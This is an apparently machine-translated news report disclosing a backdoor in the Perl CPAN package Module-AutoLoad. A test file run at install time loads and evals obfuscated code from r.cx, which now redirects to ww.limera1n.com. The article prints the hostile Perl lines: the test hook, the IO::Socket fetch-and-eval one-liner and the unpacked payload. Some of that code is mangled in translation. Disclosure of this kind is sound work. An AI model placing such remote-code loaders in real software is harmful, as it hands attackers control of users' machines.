Malicious code detected in the Perl package Module-AutoLoad

In the Perl package distributed through the CPAN directory Module-AutoLoad, designed for on-the-fly automatic loading of CPAN modules, detected malicious code. The malicious insertion was found in the test code 05_rcx.t, which has been provided since 2011.
Notably, questions about loading suspicious code arose back in Stack Overflow 2016.

Malicious activity is limited to attempts to load and execute code from an external server (http://r.cx:1/) during the execution of the test suite initiated when installing the module. It is assumed that the initially loaded code from the external server was not malicious, but now the request is redirected to the domain ww.limera1n.com, which delivers its portion of code for execution.

To organize the loading, the following code is used in the file 05_rcx.t :

my $prog = __FILE__;
$prog =~ s{[^\/]+\.t}{..\/contrib\/RCX.pl}x;
my $try = `$^X $prog`;

The specified code results in the execution of the script ..\/contrib\/RCX.pl, the content of which boils down to the line:

use lib do{eval && botstrap("RCX") if $b=new IO::Socket::INET 82.46.99.88.:1"};

This script loads obfuscated using the service perlobfuscator.com code from the external host r.cx (the IP codes 82.46.99.88 correspond to the text "R.cX") and executes it in the eval block.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.:1"; print ;'
eval unpack u=q{_<'I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

After unpacking, the following is ultimately executed code:

print{$b=new IO::Socket::INET"ww.limera1n.com:80"}>>GET /iJailBreak
";eval or return warn$@ while$b;1

Currently, the problematic package has been removed from the repository PAUSE (Perl Authors Upload Server), and the author's account has been blocked. However, the module remains is available in the MetaCPAN archive and can be installed directly from MetaCPAN using some utilities like cpanminus. It is noted, indicating that the package was not widely distributed.

Interestingly, the discussion includes connected the module's author, who denied the information that the malicious code was inserted after his website "r.cx" was hacked, explaining that he was just having fun, and that perlobfuscator.com was not used to hide something, but to reduce code size and simplify copying through the clipboard. The choice of the function name "botstrap" is explained by the fact that it sounds like bot and is shorter than bootstrap. The module author also assured that the identified manipulations do not perform malicious actions, but merely demonstrate the loading and execution of code via TCP.

Source: opennet.ru